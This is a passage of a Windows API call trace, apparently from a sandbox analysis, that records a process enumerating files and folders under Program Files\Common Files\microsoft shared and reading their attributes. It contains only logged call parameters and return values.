	[0241.751] SetEvent (hEvent=0x1a0) returned 1
	[0241.752] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed)) returned 1
	[0241.752] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.752] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1906)) returned 1
	[0241.768] VirtualAlloc (lpAddress=0xc000472000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000472000
	[0241.769] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.769] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.769] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb)) returned 1
	[0241.786] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.787] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x107e)) returned 1
	[0241.802] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.802] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.802] SetEvent (hEvent=0xf0) returned 1
	[0241.802] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed)) returned 1
	[0241.819] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0241.852] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.852] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18ed)) returned 1
	[0241.855] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.855] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.855] SetEvent (hEvent=0xf0) returned 1
	[0241.855] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8)) returned 1
	[0241.856] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.856] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13fb)) returned 1
	[0241.865] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.865] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.866] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe9)) returned 1
	[0241.876] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.876] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dccc65, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96dccc65, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x780)) returned 1
	[0241.902] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.902] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.903] SetEvent (hEvent=0xf0) returned 1
	[0241.903] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed)) returned 1
	[0241.920] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.923] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x127e)) returned 1
	[0241.948] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.948] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.948] SetEvent (hEvent=0xf0) returned 1
	[0241.948] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8)) returned 1
	[0241.949] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.949] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2949)) returned 1
	[0241.956] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.956] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.956] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6)) returned 1
	[0241.972] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.972] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51)) returned 1
	[0242.004] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0242.004] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0242.004] SetEvent (hEvent=0xf0) returned 1
	[0242.004] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\TextConv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv"), fInfoLevelId=0x0, lpFileInformation=0xc000117868 | out: lpFileInformation=0xc000117868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0242.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\TextConv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.005] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\*", lpFindFileData=0xc000117620 | out: lpFindFileData=0xc000117620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0242.005] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0242.005] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0242.005] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0242.005] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0242.006] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0) returned 0
	[0242.006] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0242.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.007] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\*", lpFindFileData=0xc000117548 | out: lpFindFileData=0xc000117548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0242.007] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0242.007] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0242.007] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0242.007] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0242.007] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Triedit" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit"), fInfoLevelId=0x0, lpFileInformation=0xc000117868 | out: lpFileInformation=0xc000117868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0242.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Triedit" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.008] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\*", lpFindFileData=0xc000117620 | out: lpFindFileData=0xc000117620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0242.008] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0242.008] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0242.008] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0242.009] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0242.009] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0) returned 0
